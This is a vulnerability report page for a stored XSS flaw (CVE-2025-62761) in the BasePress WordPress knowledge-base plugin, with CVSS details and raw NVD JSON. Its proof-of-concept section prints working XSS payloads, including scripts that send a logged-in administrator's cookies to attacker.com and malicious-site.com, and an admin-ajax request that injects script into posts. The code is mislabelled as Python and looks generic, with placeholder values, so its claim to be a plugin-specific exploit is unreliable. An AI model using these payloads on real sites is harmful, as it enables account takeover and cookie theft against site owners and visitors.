Security Vulnerability Report
中文
CVE-2025-62761 CVSS 6.5 MEDIUM

CVE-2025-62761

Published: 2025-12-31 09:15:52
Last Modified: 2026-04-23 15:34:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in BasePress Knowledge Base documentation & wiki plugin – BasePress basepress allows Stored XSS.This issue affects Knowledge Base documentation & wiki plugin – BasePress: from n/a through <= 2.17.0.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

BasePress Knowledge Base plugin <= 2.17.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62761 BasePress Stored XSS PoC --> <!-- 需要低权限用户账户(Author/Contributor角色) --> <!-- 在文章标题中注入 --> <script>alert('XSS in Title')</script> <!-- 在文章内容中注入 --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- 在分类/标签中注入 --> <svg onload=alert(document.domain)> <!-- 完整利用示例 - 窃取管理员Cookie --> <script> var cookie = document.cookie; var payload = 'https://malicious-site.com/collect?c=' + encodeURIComponent(cookie); new Image().src = payload; </script> <!-- 自动化攻击脚本 --> (function() { var xhr = new XMLHttpRequest(); xhr.open('POST', '/wp-admin/admin-ajax.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('action=edit_post&post_id=123&content=<script>malicious_code</script>&nonce=XXXX'); })();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62761", "sourceIdentifier": "[email protected]", "published": "2025-12-31T09:15:51.923", "lastModified": "2026-04-23T15:34:41.640", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in BasePress Knowledge Base documentation & wiki plugin – BasePress basepress allows Stored XSS.This issue affects Knowledge Base documentation & wiki plugin – BasePress: from n/a through <= 2.17.0.1."}, {"lang": "es", "value": "Neutralización Inadecuada de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en el plugin de documentación y wiki BasePress Knowledge Base – BasePress permite XSS Almacenado. Este problema afecta al plugin de documentación y wiki BasePress Knowledge Base: desde n/a hasta 2.17.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/basepress/vulnerability/wordpress-knowledge-base-documentation-wiki-plugin-basepress-plugin-2-17-0-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}